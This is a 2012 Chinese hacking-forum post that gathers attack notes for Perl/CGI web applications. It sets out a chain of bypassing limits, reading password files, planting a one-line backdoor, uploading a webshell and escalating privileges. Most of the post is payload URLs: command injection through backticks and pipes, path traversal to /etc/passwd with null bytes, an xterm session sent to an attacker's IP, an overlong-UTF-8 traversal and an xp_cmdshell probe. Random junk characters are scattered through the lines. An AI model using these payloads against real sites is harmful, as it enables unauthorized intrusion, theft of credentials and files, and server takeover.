找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3160|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
  d5 j! ?+ p- A& [cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  . b5 i7 s) r+ Z# u: T7 H# f
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ' U- q# y1 r8 ?7 Y4 `* r- ~2 m
注“  
- q% w3 g9 u- G# e: c, qperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
) V# g5 J2 Z+ ?7 k- P. z7 r以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  8 a8 z/ D' K5 [

- |  [( F" u" q3 n5 Zhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
9 k0 i- g9 s* A0 ?+ z- M6 {http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
8 p: R: M3 q8 K# Dhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  . s/ p: }1 |4 F9 w2 }3 i
http://target.com/cgi-bin/home/news/sub.pl?`id`  - D; V8 C8 ^+ `5 _( [" K7 T
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  # p( b( E- w0 g+ S: H
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  , }7 p% `- i# ~, t# x

( o: S7 b4 ]6 y  Ohttp://target.com/test.pl;ls|  
! t4 }$ k$ X1 x1 y9 zhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
  c$ ?- G8 t% bhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
7 D+ r# V& [1 l4 _3 O3 q2 Q7 ?0 Fhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
! @( E0 U8 n3 A. P3 g8 R: L比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ; _: I# ]) A3 U2 y8 P) f; Q) G+ `
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
2 N! U7 Z0 j$ q  A+ K7 {* e# ?& x
. r' X. F/ ~# ]http://target.com/test.pl?&........ /../../etc/passwd  , i0 H- T" A) x+ K7 t
7 Y: K5 Z1 f. y& ]! l
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
3 P1 k) N- f6 Y) Qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
3 v" \! D  [9 d( q; M& Yhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
7 m1 i3 J" H+ n& L1 {
: c2 o$ P; F. r4 w- V# vhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  ) o  N' ^8 C% ^
http://www.target.org/show.php?f ... ng/admin/global.php  
$ M$ L0 P, v% }4 S4 w/ m
6 E# i5 L2 P' @* C$ Y% Q& {7 yemm和ps的一句话9 a8 ~5 Q& s% [! {  a& z% Z+ ]

% [% r7 R3 w: L* _http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
7 ]* n! [: z( y7 O5 O) I. O* r  h. V8 \: M) Z7 d
>bbb%20|  9 q) y# n+ p/ S

8 A% _8 G# g4 o% S  x$ u% B9 Hhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ! I  |5 i2 A+ U
% g6 S- W$ K2 b/ ^+ H9 n. H
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
$ T* R5 q7 W! f3 a) @http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
! f* z* o8 [* M* f! f# L) y* k; Q$ R- ~! K: ~( e
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ' X1 y6 Q6 K) s6 {. n
http://target.com/index.html#cmd.exe  5 l& U, R( Z2 {/ A4 @7 f
http://target.com/index.html?dummyparam=xp_cmdshell  7 ^! Z, @; S2 g. s" s
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  7 {: @. k8 C- h/ F% q! a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表